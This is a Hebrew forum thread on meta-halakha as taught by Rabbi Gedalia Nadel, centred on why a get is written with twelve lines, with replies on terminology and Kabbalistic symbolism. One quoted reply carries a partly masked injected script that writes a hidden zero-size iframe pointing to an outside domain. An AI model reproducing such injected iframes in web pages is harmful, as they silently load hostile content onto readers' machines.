| נשלח ב-23/9/2011 15:37 |
 |
| |
חמורו של בורידאן: מטא הלכה במשנת הרב גדליה נדל ע"ה
למתעניינים במטא הלכה וברבי ומורי הנה נושא שלדעתי חשוב גם מחמת עצמו: הדגמה של שיקולים מטא הלכתיים כפי שראיתי ושמעתי ממו"ר ע"ה, הרב גדליה נדל. אבל ראשית הקדמה מתודולוגית נחוצה מאד (מצד שני, אפשר לדלג עליה ולחזור אליה רק לאחר שקוראים, רוצים להביע ביקורת, במיוחד ביקורת מהסוג של "מה למטא הלכה ולרב תלמיד חכם, האם זה לא דבר זר וחיצוני". אם הביקורת עדיין עומדת, אדרבה, אשמח לקרוא. הקדמה: בירור מושגים והנחות יסוד מתודולוגיות על חוץ ופנים יש פנים ויש חוץ. יש שיקולים "פנימיים" ויש "חיצוניים". נא לשים לב כי זה חשוב ועלול לגרום לטעויות. אני משתמש במונחים אלו באופן אינטואיטיבי וכמדומה שדי בזה להבין. זו נקודה חשובה מאד מפני שאני עומד להשתמש רבות בחילוק בין "מבפנים" ו"מבחוץ". החילוק הזה קיים במספר רמות. קודם כל בתוך נושא יש מה ששייך לו ויש מה שמחוצה לה. אך גם בתוך חברה יש פנים וחוץ. וגם בתוך עיסוק שמייחד את החברה, כמו לימוד תורה בחברה היהודית, הדתית והחרדית. וכמובן, עצם הנחת היסוד שיש חוץ ופנים זקוקה לבירור אם לא להצדקה (ויש, השאלה אם זה חשוב ומדוע). ובכל זאת, אני מרשה לעצמי להשתמש ב"חוץ" ו"פנים" באופן לא מוגדר אלא אינטואיטיבי. אקוה שלא תהיינה אי הבנות. אם יהיו, זו תהיה הזדמנות לפתוח אשכול חדש ולעסוק בכך. על מטא הלכה המונח "מטא הלכה" אינו חד משמעי ואין לו עדיין שימוש קבוע. אני משתמש במונח הזה באופן הבא: ההלכה, כמו כל מערכת משפטית, מתחלקת לתחומים ולנושאים. דוגמא לחלוקת תחומים: מבדילים לפי שמות חלקי השולחן ערוך בין "אורח חיים", "יורה דעה" ו"חושן משפט". כלומר חיי האדם הפרטי מול דיני איסור והיתר ודיני ממונות. זו חלוקה תוכנית ולא מתודית. דוגמא לחלוקת נושאים: דיני ברכות, תפילה ושבת. כמובן, כל הנושאים מתחלקים לנושאים ולתת נושאים. שאלות הלכתיות (האם מותר לכתוב בשבת? ומה עם כתיבה ביד שמאל? או בדיו שעתיד להעלם מעצמו ולא יתקיים מעבר לשלושה ימים או שיימוג כמה שעות אחרי צאת השבת?) נפתרות על ידי שיקולים פנימיים לעצמן (מהי שבת, מהי כתיבה, מה הם החומרים לכתיבה, הכלל ששינוי מן האופן הרגיל יוצר פטור מן התורה בחיובי שבת). בשיקולים אלו ניתן לזהות הנחות יסוד עקרוניות (כדי להתחייב צריך ידיעה, וצריך לברר מה טיבה של ידיעה זו). אולם הלכות נזקקות גם לשיקולים שחיצוניים להן עצמן. שיקולים אלו, שאינם שייכים לנושא עצמו אלא הם חיצוניים, כלליים, אך עדיין חלק מן התורה (נלמדים מפי השמועה, מן הכתובים, מן המדרש של הכתובים או מן הסברה). נפשות מחפשות טרמינולוגיה אולי היה ראוי היה למצוא מונח מקביל למטא-הלכה כדי לייחד אותו לתחום שאני מבקש לעסוק בו. זה גם יועיל, אם נבחר מונח מספיק עברי מקורי ותורני, לסלק את החשש שהעיסוק במטא הלכה פירושו לכפות על ההלכה ועל המסורת שיקולים זרים, "חיצוניים". אני מקוה להצעות. יש לי משלי. חשבתי למשל על "ריבודי הלכה" אך זה לא מספיק מביע את הרעיון. אפשר לדבר על ועל שיקולים נושאיים וחוץ נושאיים, אבל המונח "חוץ" פחות נוח ומדוייק מאשר "מעבר" שזה המקבילה העברית ל"מטא" היווני. אפשר לדבר על דיונים ושיקולים "קדם נושאיים". אבל האם זה מספיק? הם קודמים בחשיבותם לנושא ולפעמים צריך לדבר עליהם לפני כל הכרעה, אבל זה לא נכון שדנים בבירור הלכתי על הקדם נושאי ואחר כך עליהם. להפך. השיקולים המטא הלכתיים מופיעים רק לאחר הבירור הנושאי. סדר הלימוד והעיון הפוך לסדר הלוגי. יש לי הצעה כזו: "משיקניים" (כמו בהנדסה, קו משיק למעגל) במובן של מחוץ למעגל הדיון אך עדיין נוגעים בו. כך יש הלכה והלכה משיקה. מה דעתכם? אם אחד המונחים האלו יהיה יעיל, אפשר להחליף בכל מקום למונח העברי שיתחדש. לאחר הקדמה זו אני יכול לחזור על הנושא שלי. הדגמה של שיקולים מטא הלכתיים כפי שראיתי ושמעתי ממו"ר ע"ה, הרב גדליה נדל.
 |
|
|
|
|
| נשלח ב-23/9/2011 15:37 |
|
| |
גט ומספר השורות שלו ההלכה מאפשרת לזוג להיפרד ולגבר לגרש את אשתו. האמצעי המוגדר נקרא גט: שטר שחייב להכיל נוסח בעל משמעות קבועה, ולמעשה הניסוח די קבוע: שם המגרש ושם המגורשת, והודעה מפורטת וחד משמעית על טיב הפעולה – ביטול הנישואין על ידי שיחרור האשה. כל זה לא נוגע כמעט כלל לנושא שלנו. ככל שחולפים הדורות ההלכה לובשת צורות מוגדרות יותר ויותר. אני מכנה זאת "הסתיימות" (שוב כדאי לחפש מונח נוח, ברור ואינטואיטיבי יותר). לדוגמא, אין מיגבלה מסויימת על החומר שעליו ניתן לכתוב (אפילו עלה של עץ שנקטף מראש או על קרן של פרה, ואז לתת למגורשת את הפרה כולה). בפועל, היום נכתב גט בידי סופר סת"ם לפי כללים שלא כולם אמורים לעכב ובכל זאת. אחת השאלות שניתן לשאול היא: כמה שורות צריכות להיות בגט? התשובה הנכונה לדעתי היא: זו לא שאלה הלכתית, אלא רק במובן של שאלה מהסוג שעליה עונים: זה לא נושא. אפשר להרחיב יותר מדוע מספר השורות (וגודלה של השורה, אם נרצה לאשר גט שבו הכל כתוב בשורה אחת בלבד) אינו מעכב. אבל עובדה היא שכבר בימי הראשונים היתה מסורת על מספר השורות הקבוע שיש לכתוב בגט. הנתון הזה עמד בפני בעלי התוספות. ולמעשה, בדיבור (=פירוש) הראשון שלהם על מסכת גיטין הם נדרשים לו. ואני מעתיק: תוספות מסכת גיטין דף ב עמוד א ומה שנוהגים לכתוב י"ב שורות בגט אומר ר"ת משום דגט גימטריא י"ב ור"י שמע בשם רב האי גאון ובשם רבינו סעדיה משום דכתיב ספר כריתות כשיעור י"ב שיטין המפסיקין בין ארבעה חומשי ספר תורה כדאמר בבבא בתרא (דף יג:) שצריך להניח ארבעה שיטין בין כל ספר וספר והפסק שבין וידבר למשנה תורה לא חשיב שאינו אלא חוזר ושונה מה שלמעלה. מה כתוב כאן? אני חוזר קצת יותר בהרחבה למי שלא הורגל בדרך הקצרה של התוס'. המפרש מביא שיש מנהג לכתוב 12 שורות בגט (לא היו קיימות ספרות שלנו בימי התוס' ולכן השתמשו בסיפרור על ידי גימטריה). על זה עולה השאלה: מדוע דווקא 12. לשאלה זו ניתנות שתי תשובות. קיומן של שתי תשובות מעיד כי למרות שהיתה מסורת על המנהג (והרי רואים שכך נוהגים בבתי הדין, כי גיטין לא ניתנו באופן עצמאי אלא רק בפיקוח רבני שהתהדק והלך מדור לדור), לא היה הסבר מדוע נבחר המספר הזה. לקמן אדון יותר בשאלה המתבקשת פה. (נסו את עצמכם. מה הייתם שואלים כאן? גם ההצבעה על כך שיש שאלה מתבקשת היא רמז). שנים מחשובי בעלי התוס' מנסים להציע הסבר. רבנו תם, החדשן ובעל הסברות, תולה את הבחירה ב12 (ולא 10, או 13) בגימטריה של המילה "גט" (ג – 3 ו-ט – 9. 3+9=12). ר"י, כלומר רבי יצחק, שרוב התוספותים שלנו מלימודו, תולה זאת ברמז ל"כריתות" (ניתוק) וסופרים את מספר הניתוקים שיש בין חמשת חומשי תורה הנכתבים בספר לפי ההלכה. (כאן מתעוררת שאלה אם הספירה שלו מדוייקת, וזה מעורר את השאלה שאם יש חמישה ספרים אז היה עלינו לקבל 16 שורות (4 שורות ניתוק כפול ארבעה הפרשים בין חמישה ספרים) ועל זה הוא עונה שההבדלה בין ספר "וידבר" כלומר מה שנקרא אצלנו "במדבר" לבין הספר הבא, "דברים" אינו בחשבון וזאת בגלל שספר דברים שונה במהותו מאחרים ואיני חפץ להאריך מדי). גם איני דן בכך אם אלו תשובות טובות (המתרצים היו ידועים בחכמתם, אבל זה לא אומר שהתשובות שלהם מובנות לי ונראות לי, אבל שוב, לא זה הנושא שלנו - אך מה הייתם אומרים על השאלה אם התשובות טובות ואם הן עונות על השאלה). עד כאן תירגום לעברית מדוברת של השאלה שמעלים התוס' ושתי תשובותיהם.
|
|
|
|
|
| נשלח ב-23/9/2011 15:37 |
|
| |
הניתוח של הרג"נ על זה העלה מו"ר הרב נדל את השאלות הבאות – והן שאלות של מטא הלכה, אמנם הן מראות כיצד יש לגשת ללימוד, כי הן חשובות הרבה יותר מאשר השאלה של תוס'. כלומר, הנחות היסוד של השאלה ושל התשובות הן חשובות הרבה יותר מן השאלה והתשובות. ואלו הן השאלות: א. מדוע בכלל צריך מספר קבוע של שורות בכל גט? ב. אם צריך מספר קבוע, כיצד שיקולים צדדיים ורחוקים כמו הגימטריא של המילה "גט" או, אפילו, מספרי הרווחים בין חמשת חומשי תורה יכולים להשפיע על בחירת מספר שורות לגט. השאלה הראשונה מביאה אותנו למטא הלכה חשובה ביותר. השניה חושפת את אורח החשיבה של פוסק ולכן היא אפילו חשובה עוד יותר, אבל אין היא רק מטא הלכה במובן הרגיל. אולם לפני שאעבור לדון בהם ובדברי מו"ר אני מבקש להעיר על מה שצריך להיות ברור מעצמו, ואולי בכל זאת זה לא, ולכן אני מפרט. כיצד בדרך כלל לומדים את התוס'? אני משער שקוראים את השאלה ואת התשובה. התלמיד הטוב ידון בהנחות היסוד של השאלות ושל התשובות, כאן ובכל מקום. אבל האם הוא גם יחשוב על שתי השאלות של הרב גדליה נדל? יותר מכך, שתי השאלות נראות למי שלא הורגל בצורת חשיבה זו , אולי, חוצפה ואפיקורסות. וכי מי אנו שנקבע מה חשוב? אם רבותינו חשבו שזה חשוב, זה מספיק טוב עבורנו. אם התורה לא סגרה מספר קבוע של שורות וגם חכמים לא, הרי משמים הניחו מקום להתגדר בו לדורות הבאים, וזהו זה (וזו תשובה שכמובן לא עונה על השאלה מדוע נוספה כאן קביעה שהתורה וחז"ל לא נזקקו לה אלא רק מבטיח לנו שזה כנראה ראוי, ואם לא ידענו מדוע אז זה רק מחמת עוניינו בחכמה). גם השאלה השניה פותחת פתח לומר כי התשובות עליה הן גרועות וקלושות. וכי מותר לייחס תשובות כאלו לחכמים מופלגים כבעלי התוס'? עלי להעיד כי מו"ר החשיב מאד את לימוד התוס' (ובדבר זה, כמו רבים אחרים, אני שונה ממנו...). אם כן, איך זה מתיישב עם השאלות? מדוע אין אלו שאלות חצופות ואפיקורסיות? צריך לראות את הסברי ר"ג כדי להבין ואז זה די ברור, כמעט מעצמו. אולם גם אילו לא היו לנו תשובות עדיין השאלות הן טובות וחשובות. שוב להדגיש כי שאלות כאלו הן חלק מן הלימוד. ולגבי ההעזה שבשאלה השניה הרי היא תראה לנו שגם אדם חכם יכול לומר דבר שנראה קטן ויש לכך סיבות טובות!
|
|
|
|
|
|
| נשלח ב-23/9/2011 15:38 |
|
| |
מספר השורות בגט: מטא הלכה אני מסביר תוך חזרה על העיקר: מדוע יש מספר שורות קבוע בגט? מדוע יש כזה מנהג? ואם זה חשוב, מדוע התורה לא קבעה לנו מספר שורות או שחכמים יעשו זאת? התשובה של מו"ר: זה באמת לא חשוב. הרי כל גט כשר אם ייעשה בהתאם לדרישות התורה וחכמים (שמרחיבים את התנאים למנוע בעיות). אמנם כאשר הלכה עוברת מדור לדור, וכאשר מדובר בשטר שנעשה בידי מוסד (זו כבר תוספת שלי שהבנתי מתוך דבריו ובוודאי לא המילים שלו!) ולא בידי אדם פרטי, אז אי אפשר להניח את הדבר לכל סופר שיכתוב בסדר שלו. מדוע? הרב גדליה לא פירט, אבל אני סבור שאפשר להבין. מדרכם של בני אדם שהם משוים שטרות ומעשי סופרים. כיצד הסופר שלך הכין גט עם מספר שורות כזה וסופר אחר הכין מספר שורות אחר? מה זה כאן? ומכאן הדרך קצרה לויכוחים, מחלוקות, וגם לפסילת גיטין והוצאת לעז על ולדות כשרים. לכן נולד מנהג להקפיד על אופן מסויים, על מספר שורות קבוע, ונמנעה הבעיה. כמובן, במחיר של תוספת הלכה חדשה בישראל. (אבל גם זה לא מספיק. עד היכן צריך לקבוע נהלים ונהלי נהלים? לצערי לא חשבתי אז להעלות את השאלות האלו לפני מו"ר, אם כי סבורני שהיו לו תשובות עליהן ואולי זכיתי לכוון להם היום. כשלמדתי את הדברים הם היו חלק מהלימוד שלי אצלו שהכשיר אותי להבין כיצד לומדים, כיצד פוסקים, מה היא ההלכה...). ובכן, תשובתו של הרב גדליה נדל היא תשובה מטא הלכתית. מצד הנושא עצמו, באמת אין צורך במספר שורות מסויים. אבל יש צורך חברתי במספר קבוע, והמנהג נוצר כדי לענות על הצורך הזה. מהו השיקול המטא הלכתי הזה? אני מציע ניסוח, אבל מן הסתם צריך לעבוד על הדייקנות שבו. כל הלכה משאירה תחומים פתוחים. לפעמים מתעורר הצורך לספק הגדרה ולא להשאירם פתוחים לצורות עשיה שונות. זו המטא הלכה של המסויימות. ואולי יש לקשר זאת לאותו מניע שנזכר בסוגיות שונות בשם הכללי "אם כן (אם רצונך להתיר לפי תנאים מסויימים ולא אחרים) אזי נתת את דבריך לשיעורין". כלומר, צריך לספק לבריות שיעורים חתוכים ומוגדרים (לא די לומר "יד סולדת" זה שיעור החום לבישול בשבת. זה היה טוב לפני שהיו טרמוסטטים. היום רוצים תשובה שנמדדת במעלות ואולי גם בחלקי מעלות).
|
|
|
|
|
| נשלח ב-23/9/2011 15:38 |
|
| |
התשובות ה"חלשות" של בעלי התוס': שיקולים ורמות של שיקולים בעיצוב הכרעות הלכתיות אם הסכמנו שיש צורך חברתי בקביעת מספר שורות מסויים לגט, ולפי זה פגשנו דוגמא למטא הלכה של "מסויימות" או "אי נתינת דברים לשיעורין", עכשו תעלה השאלה מה מספר השורות הראוי. יש לשים לב כי לא די לומר: בין 8 ל16. צריך מספר מסויים. ר"ת הציע לומר שמסתמכים על הגימטריא של המילה "גט" שעולה 12. (אני דן רק בתשובתו שלו מפני שהיא נראית יותר קרובה. התשובה של ר"י מפתיעה ורחוקה עוד יותר, וגם לגביה יחול ההסבר דלקמן). כאן אפשר לשאול למשל, בדרך של רדוקציו אד אבסורדום (הבאה למצב אבסורדי): ואם השם היה "גת" במקום "גט" האם היינו מצריכים 403 שורות? (בלתי אפשרי כמובן). התשובה היא שאז לא היינו יכולים להעזר בגימטריה והיה עלינו לחפש אופן הכרעה אחר! כאן אמר מו"ר את חידושו הגדול על אופי ההתנהגות וההכרעה האנושי. אנו בוחרים ומכריעים לפי שיקולים רציניים, משמעותיים, כבדים. אך כאשר יש לנו שאלה שאין עליה תשובה רצינית, משמעותית, חכמה, אנו משתמשים בשיקולים אחרים. פחות חכמים. משניים, זוטרים. הוא העיר על כך: ואם מישהו חושב שהוא לא נוהג כך, או שלא נוהגים כך, הוא פשוט לא מכיר את הפסיכולוגיה האנושית (עד כמה שאני זוכר, הוא לא השתמש במילה "פסיכולוגיה". זה תירגום שלי). אני מציג המחשה (איני זוכר אם שמעתי ממנו אז את זה או שזו המחשה משלי) ועוד המחשה מתולדות הפילוסופיה. נניח שכהן צריך לעלות למזבח. מאיזה צד יבחר להתקדם? הכלל הוא "כל פניות שאתה פונה לא יהיו אלא על דרך ימין". אבל מדוע? מה החשיבות בימין? התשובה היא שזה באמת לא חשוב. אבל צריך הכרעה, ואם אין נימוק מספיק חשוב, בוחרים בכך שימין הוא צד מועדף. לכן גם מקדימים לנעול את הנעל הימנית לפני השמאלית, כפי שמובא בשולחן ערוך (אבל כמדומה שהרמב"ם השמיט את הדין הזה, למרות שהוא מביא שאת כוס הקידוש נוטלים בימין אם אני זוכר נכון. כנראה חילק הרמב"ם בין הלכות ממש שבהן יש להקפיד על ימין לבין החלת "עיקרון הימין" בנושאים שאינם הלכתיים, וזו המחשה לכך שלא כל שאלה צריכה לקבל תשובה הלכתית). אני חוזר: בחירת צד להתחיל בו אינה חשובה באמת. אבל כיון שאנו זקוקים לאיזו שהיא הכרעה, נוח לנו להקדים את הימין. זו היד החשובה והחזקה. היא גם נותנת הרגשה של הצלחה. ויש תרבויות שבהן השמאל התקשרה לסימן רע והימין לטוב (אני מתאפק לא להזכיר את הביטוי של זה בקבלה...). הדוגמא השניה שלי היא מן המקרה ההיפותטי המפורסם, הידוע כ"חמורו של בורידאן". בורידאן, עד כמה שאני זוכר, היה פילוסוף נוצרי במאה ה14. הוא הציע את הניסוי הבא: להעמיד חמור רעב בין שתי חבילות תבן ריחני זהות לגמרי ובמרחק שווה ממנו. החמור המסכן, שהוא נטול בחירה, מודעות והתבוננות, לא יהיה מסוגל להכריע אם לפנות לימין או לשמאל, ולכן ימות ברעב. בפועל אי אפשר כמובן לבצע את הניסוי הזה כיון שאי אפשר להבטיח תנאים שוים לשני הצדדים. ולאלו שמרחמים על החמור, בורידאן לא ביצע את הניסוי בפועל (אחרת לא היה כותב מה שכתב שהחמור ימות). מה היה עושה אדם במצב כזה? הוא היה נוהג כמו שכתב ר' גדליה. הוא היה בוחר על פי שיקול לא נושאי. למשל, הוא היה פונה לימין (החליפו כמובן את התבן במאכל אנושי).
|
|
|
|
|
| נשלח ב-23/9/2011 15:38 |
|
| |
פינת הגאון מדוע יש מנהג של 12 שורות בגט? התוס' עוסק בשאלה זו ומציע שתי תשובות מרוחקות ומפתיעות, שלא לומר "חלשות". מו"ר הרב גדליה ע"ה הציע שתי אבחנות חשובות. הראשונה, מתחום המטא הלכה, היא שיש שאלות פתוחות שצריך לסגור ולחתוך מסיבות חברתיות. השניה, מתחום הפסיכולוגיה האנושית, היא שאנו זקוקים להכרעות וכאשר אין לנו סיבה "מספיק טובה" אנו משתמשים בסיבות "פחות טובות","קלושות וחלשות" (ביטוי שלי). וזה טבע האדם. גם בהלכה משתמשים בנימוקים כאלו כאשר צריך הכרעה ואין נימוקים טובים ממש.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-23/9/2011 16:22 |
|
| |
| מיימוני כתב: |  |
נפשות מחפשות טרמינולוגיה
אולי היה ראוי היה למצוא מונח מקביל למטא-הלכה כדי לייחד אותו לתחום שאני מבקש לעסוק בו. זה גם יועיל, אם נבחר מונח מספיק עברי מקורי ותורני, לסלק את החשש שהעיסוק במטא הלכה פירושו לכפות על ההלכה ועל המסורת שיקולים זרים, "חיצוניים".
אני מקוה להצעות.
יש לי משלי. חשבתי למשל על "ריבודי הלכה" אך זה לא מספיק מביע את הרעיון. אפשר לדבר על ועל שיקולים נושאיים וחוץ נושאיים, אבל המונח "חוץ" פחות נוח ומדוייק מאשר "מעבר" שזה המקבילה העברית ל"מטא" היווני.
אפשר לדבר על דיונים ושיקולים "קדם נושאיים". אבל האם זה מספיק? הם קודמים בחשיבותם לנושא ולפעמים צריך לדבר עליהם לפני כל הכרעה, אבל זה לא נכון שדנים בבירור הלכתי על הקדם נושאי ואחר כך עליהם. להפך. השיקולים המטא הלכתיים מופיעים רק לאחר הבירור הנושאי. סדר הלימוד והעיון הפוך לסדר הלוגי.
יש לי הצעה כזו: "משיקניים" (כמו בהנדסה, קו משיק למעגל) במובן של מחוץ למעגל הדיון אך עדיין נוגעים בו. כך יש הלכה והלכה משיקה.
מה דעתכם?
אם אחד המונחים האלו יהיה יעיל, אפשר להחליף בכל מקום למונח העברי שיתחדש. |
|
למה לא תקרא לתינוק בשמו - אור פנימי ואור מקיף ? או לצורך העניין - הלכה פנימית והלכה מקיפה.
האם אתה לא מתכוון למה שקוראים "שולחן ערוך החמישי" ?
|
|
|
|
| נשלח ב-23/9/2011 16:29 |
|
| |
שותף
תודה על ההתייחסות.
א. ממה שאני מכיר את המונחים האלו הם אינם נוגעים לכאן (מדובר בשתי השתלשלויות שונות בתהליך אונטולוגי של האצלת העולמות האלוהיים או בסדר הנהגה כנ"ל או, במשנת ר' נחמן לפחות, בתהליכים אפיסטמולוגיים=של תורת ההכרה אך הם אינם משמשים בהקשר של הלכה ומחקר הלכה.
כמובן לפי ההנחה שההלכה בעצמה משקפת השתלשלויות, אפשר לדבר על מקביליות, אבל זו מקביליות שנובעת רק מתוך ההנחה הכללית שלכל דבר בעולמנו, וגם בתורה, יש מקבילים עליונים.
בכל אופן, זה נראה כהטית הדיון.
ב. ירוקון (=איקון ירוק) על האבחנה.
מה שמכנים "שולחן ערוך החמישי" הוא בוודאי חלק מן המטא הלכה אבל היא כוללת הרבה יותר!
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-23/9/2011 16:30 |
|
| |
לא שמתי לב יפה.
האבחנה "הלכה פנימית והלכה מקיפה" היא מצויינת! עבורי ואני מקוה שלא רק עבורי נולד מונח חדש!
(אילו הייתי במקומך הייתי נהנה מכך שמונח קבלי אומץ למטרה כזו, ועוד על ידי מיימוני המתנגד לכל הקבלה לגווניה, סמיילי).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-23/9/2011 16:35 |
|
| |
| מיימוני כתב: | | | (אילו הייתי במקומך הייתי נהנה מכך שמונח קבלי אומץ למטרה כזו, ועוד על ידי מיימוני המתנגד לכל הקבלה לגווניה, סמיילי)******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
איזה יופי, עשית לי את השבת....
אם לא היית מפחד כל כך לצאת מהקופסא המרובעת שלך, היית מתבונן ברצינות מה זה אור פנימי ומה זה אור מקיף ובודק את התאמתם העניינית (ולא רק המילולית) לסוגיות שאתה מעלה.
אולי בשנה הבאה.
|
|
|
|
| נשלח ב-23/9/2011 17:15 |
|
| |
שותפי,
ברוך שכיוונתי, אני כשאני מוסר שיעורי הלכה,
ואני משתמש בסברות של עקרונות ההלכה, או סברות כלליות יותר וכוו',
אני משתמש בלשון של אור מקיף.
|
|
|
|
| נשלח ב-23/9/2011 17:19 |
|
| |
שותפי,
אני חושב שמיימוני מפחד להאמין בקבלה,
מישהו סיפר לו שאם הוא יאמין בקבלה הוא לא יתקבל בקהל הרציונליסטים.
|
|
|
|
| נשלח ב-23/9/2011 17:23 |
|
| |
מיימוני
סליחה על הבוטות אבל מאכזב, וכבר האריך בזה אריק123 באשכולו,
צר לי אך אין בזה שום טיעון משמעותי. בשביל נתת דבריך לשיעורים לא צריך כניסה לפסיכולוגיה אנושית כביכול מעמיקה. ומה יצא? בדיוק להיפך, שגט נפסל על קוצה של שורה, שכשלעצמה אין לה חשיבות.
שותף
יציאה מקופסה צריכה להיות הדדית.
|
|
|
|
| נשלח ב-24/9/2011 21:06 |
|
| |
1.האם מה שנכון לחמור נכון ביחס לבני אדם?
2גם לבי החמור הסיפור אינו תופס כלל שהרי גם לחמור יש אינסטינקטים וכשהוא רעב הוא ירוץ .
אולי הוא ירוץ לשמאל רחמנא לצלן השם ישמור! אילו השלכות בעולמות עליונים יהיו לכך!..
לגבי החלטה האם הכהן צריך לעלות בשמאל או בימין האם צריך לנעול נעל ימין וכו' -זה מה שנחוץ למה שנקרא נערווין ולא לפסיכולוגיה האנושית.-הייתי אפילו קוראת לזה פסיכולוגיה אנטי אנושית.
ולעניין מטא הלכה לא הבנתי את האובססיה של מיימוני לתת הגדרות נוספות-פנים וחוץ אור מקיף ואור חוזר אור פנימי ומי יודע מה עוד.
האם ההגדרה שניתנה כבר באשכולות השונים לא מספיקה.
ועל כגון זה נאמר כל המוסיף גורע.
ולענין רג"נ
באשכול המתאר את חייו ושאלות שנשאל הובא סיפור על אחד ששאל לגבי המדינה והוא ענה שזו מצווה גדולה לקחת מה שיותר מהמדינה.
תשוו את דבריו של קנדי שאמר: "אל תשאל מה המדינה יכולה לעשות בשבילך, שאל מה אתה יכול לעשות בשביל מדינתך "
נו אבל הוא היה גוי. מה הוא כבר ידע.
|
|
|
|
| נשלח ב-24/9/2011 21:25 |
|
| |
מיימוני.
ייש"כ על הרצאת והרחבת השיעור של ר' גדליה. [נדמה לי שראיתי כבר זאת משמו אבל כשאתה אומר את זה זה יוצא באופן אחר לגמרי]
והערה אגבית, התייחסת קצת בזלזול לזה שבאיזה תרבויות יש לשמאל הקשר שלילי. אבל שכחת שזה תרבות הגמרא שלנו, "שמאל דוחה וימין מקרב" זכור לך?, ואפילו פסוק מפורש בתנ"ך [שאני יודע כבר שאתה לא אוהב ] "וכל צבא השמים עומדים עליו מימינו ומשמאלו.
חז"ל משתמשים בכל מקום בשמאל כהקשר של דיון לחומרא או לשלילה, "למיימינים בה כו' ולמשמאילים בה וכו'.
מובן שצריך להגדיר בדיוק מה זה אומר, כלומר האם זה רק שפת דיבור או שיש כביכול באמת חשיבות מסויימת לימין. אבל הזלזול בוודאי לא במקומו.
לפי המסקנא שלך יש להבין עוד הרבה דברים בהם אנו סומכים על שיקולים לכאורה לא מוצקים, כמו הרבה מהנהגות שהאר"י ציווה לעשות בגלל איזה רמז בקבלה.
|
|
|
|
| נשלח ב-24/9/2011 21:31 |
|
| |
ולהעיר, שאצל הסינים דוקא הימין מציין את הצד הנחשל וביש המזל
|
|
|
|
|
